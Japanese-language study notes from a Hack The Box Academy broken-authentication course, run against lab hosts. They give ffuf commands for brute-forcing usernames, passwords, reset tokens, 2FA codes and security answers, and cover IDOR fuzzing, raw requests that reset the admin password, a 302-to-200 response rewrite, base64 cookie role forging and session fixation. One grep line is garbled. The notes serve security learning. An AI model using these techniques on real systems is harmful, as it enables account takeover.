コース : https://academy.hackthebox.com/course/preview/broken-authentication

認証に対する攻撃

ブルートフォース

ユーザー列挙した後に、パスワードのブルートフォース攻撃よね

ユーザー列挙

理論

攻撃

例えば、無効なユーザーのときは、Unknown userって出る時は、それ以外が出てきた時に有効なユーザー名ってわかるよね

ffufを使って、ユーザー列挙できるよね

ffuf -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt \
-u http://172.17.0.2/index.php \
-X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=FUZZ&password=invalid" \
-fr "Unknown user"

あとは、Webアプリケーションの応答内容の違いが最も分かりやすいユーザー列挙手法ですが、それ以外にもサイドチャネルを用いた列挙も可能

パスワード

理論

パスワードの問題点

攻撃

grep ' grep '[[:lower:' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt
snowyowl644@htb[/htb]$ wc -l custom_wordlist.txt
151647 custom_wordlist.txt

まず、burpsuiteなどで、どんなリクエストがきているかを確認してから、ffufとかでブルートフォースできる

ffuf -w ./custom_wordlist.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username"

パスワードリセットトークン

脆弱なリセットトークンの特定

1. Click on the following link to reset your password: Click 2. If the above link doesn't work, copy and paste the following URL into your web browser: http://weak_reset.htb/reset_password.php?token=7351

4桁のトークンの組み合わせだったら、10000通りしかない
パスワードリセットを要求し、そのトークンをブルートフォースすることで、ユーザーのアカウントを乗っ取ることができる

脆弱なリセットトークンへの攻撃

まず、考えられるトークンのリストを作成する
0-9999までのリストの例

seq -w 0 9999 > tokens.txt
ffuf -w ./tokens.txt -u http://weak_reset.htb/reset_password.php?token=FUZZ -fr "The provided token is invalid"

2要素認証へのブルートフォース

攻撃

CTFで、admin : adminでログインできた時に、2要素認証があることに気づいた

4桁のセッショントークンのリストを作る

seq -w 0 9999 > tokens.txt

ffufで、エラーメッセージを除外してブルートフォースすることで、セッショントークンがわか離、2要素認証をパスすることができる

ffuf -w ./tokens.txt -u http://bf_2fa.htb/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=fpfcm5b8dh1ibfa7idg0he7l93" -d "otp=FUZZ" -fr "Invalid 2FA Code"

ブルートフォースの防御のバイパス

レートリミット

しかし、X-Forwarded-For などのHTTPヘッダーは、攻撃者が任意のHTTPヘッダーを設定できるため、レートリミットを完全にバイパスすることもできる

CAPTCHA


パスワードアタック

デフォルト認証情報

あと、google検索でもこのように調べれば出てくる

bookstack default credentials

脆弱なパスワードリセット

ウェブアプリケーションがレートリミットやCAPTCHAを利用している場合でも、「パスワードリセット機能内のビジネスロジックのバグ」などで 他のユーザーのアカウントを乗っ取ることが可能になる場合がある

推測可能なパスワードリセットの質問

ターゲットのウェブサイトでそのような機能を見つけた場合、認証をバイパスするためにそれを悪用しようとすべき
多くの場合、質問ベースのパスワードリセット機能の脆弱なリンクは回答の予測ができる

これらの質問は個々のユーザーに結びついているように見える

たとえば、ウェブアプリケーションが「生まれた都市はどこですか?」のようなセキュリティの質問を使用していると仮定

cat world-cities.csv | cut -d ',' -f1 > city_wordlist.txt

ffufでブルートフォース

ffuf -w ./city_wordlist.txt -u http://pwreset.htb/security_question.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=39b54j201u3rhu4tab1pvdb4pv" -d "security_response=FUZZ" -fr "Incorrect response."

リセットリクエストのロジック面での脆弱性

htb-stdntとして、reset_password.phpを行うが、リクエストの中にusernameが入っている

POST /reset.php HTTP/1.1
Host: pwreset.htb
Content-Length: 18
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=39b54j201u3rhu4tab1pvdb4pv

username=htb-stdnt
POST /security_question.php HTTP/1.1
Host: pwreset.htb
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=39b54j201u3rhu4tab1pvdb4pv

security_response=London&username=htb-stdnt
POST /reset_password.php HTTP/1.1
Host: pwreset.htb
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=39b54j201u3rhu4tab1pvdb4pv

password=P@$w0rd&username=htb-stdnt

なので、このように、adminのパスワードを変更できてしまうという脆弱性を突ける

POST /reset_password.php HTTP/1.1
Host: pwreset.htb
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=39b54j201u3rhu4tab1pvdb4pv

password=P@$w0rd&username=admin

認証バイパス

ダイレクトアタック

攻撃

  1. webブラウザで、/admin.phpにアクセスする
  2. Burpsuitdeで傍受→Repeater

この時、 Repeaterのレスポンスを見ると、302になってるけど、admin.phpのHTMLが含まれているのがわかる

含まれているのがわかる

Proxyに戻って、右クリック→Do interceptを押す(ここでは画面に変化なし)
Forward押す

レスポンスが、Proxyに出てくる
HTTP レスポンスステータスコードが302 Foundになっているので、それを200 OKに書き換える
Forwardを押すと、ブラウザで、ダイレクトアタックした結果を見ることができる

パラメータ変更による認証バイパス

ログインした後に/admin.php?user_id=183って感じで、webページが出たら、このuser_idの数字をファジングすることでIDORで、権限昇格できることあるよねって話
 SQLインジェクションとかもあるよねって話

user_idの数字のリストの作成
 ```sh
seq 1 200 > user_ids.txt


ffufの実行
```sh
ffuf -w user_ids.txt -u "http://94.237.51.163:50066/admin.php?user_id=FUZZ" -b "PHPSESSID=vu4badta7ib21h8wefwefwfwe" -mc 200,302

セッショントークンへの攻撃

十分にランダムではないトークン

セッショントークンは32文字長なので、他のユーザーの有効なセッションを列挙することは不可能に思える
しかし、ログインリクエストを複数回送信し、ウェブアプリケーションによって割り当てられたセッショントークンに注目してみる
その結果、以下のセッショントークンが得られる

2c0c58b27c71a2ec5bf2b4b6e892b9f9
2c0c58b27c71a2ec5bf2b4546092b9f9
2c0c58b27c71a2ec5bf2b497f592b9f9
2c0c58b27c71a2ec5bf2b48bcf92b9f9
2c0c58b27c71a2ec5bf2b4735e92b9f9

ご覧の通り、すべてのセッショントークンは非常に似ている
実際、32文字のうち28文字は、キャプチャされた5つのセッションすべてで同じ

インクリメントするトークン

141233
141234
141237
141238
141240

攻撃

セッショントークンは、ただのbase64エンコードされたデータの時とか

echo -n dXNlcj1odGItc3RkbnQ7cm9sZT11c2Vy | base64 -d
user=htb-stdnt;role=user
echo -n 'user=htb-stdnt;role=admin' | base64 
dXNlcj1odGItc3RkbnQ7cm9sZT1hZG1pbg==

セッショントークンの別のバリアントには、データシーケンスの暗号化の結果が含まれている

セッション固定攻撃

セッション固定攻撃の流れ

  1. 攻撃者は、ウェブアプリケーションに認証することで有効なセッショントークンを取得する
    1. たとえば、セッショントークンが a1b2c3d4e5f6 であると仮定する
    2. その後、攻撃者はログアウトして自身のセッションを無効にする
  2. 攻撃者は、以下のリンクを送信して、既知のセッショントークンを使用するように被害者を誘導する
    1. http://vulnerable.htb/?sid=a1b2c3d4e5f6
    2. 被害者がこのリンクをクリックすると、ウェブアプリケーションは session クッキーに提供された値を設定する
  3. 被害者は脆弱なウェブアプリケーションに認証する
    1. 被害者のブラウザはすでに攻撃者が提供したセッションクッキーを保存しているため、ログインリクエストと共にそれが送信される
    2. ウェブアプリケーションは新しいセッショントークンを割り当てないため、被害者は攻撃者が提供したセッショントークンを使用することになる
  4. 攻撃者は被害者のセッショントークン a1b2c3d4e5f6 を知っているので、被害者のセッションを乗っ取ることができる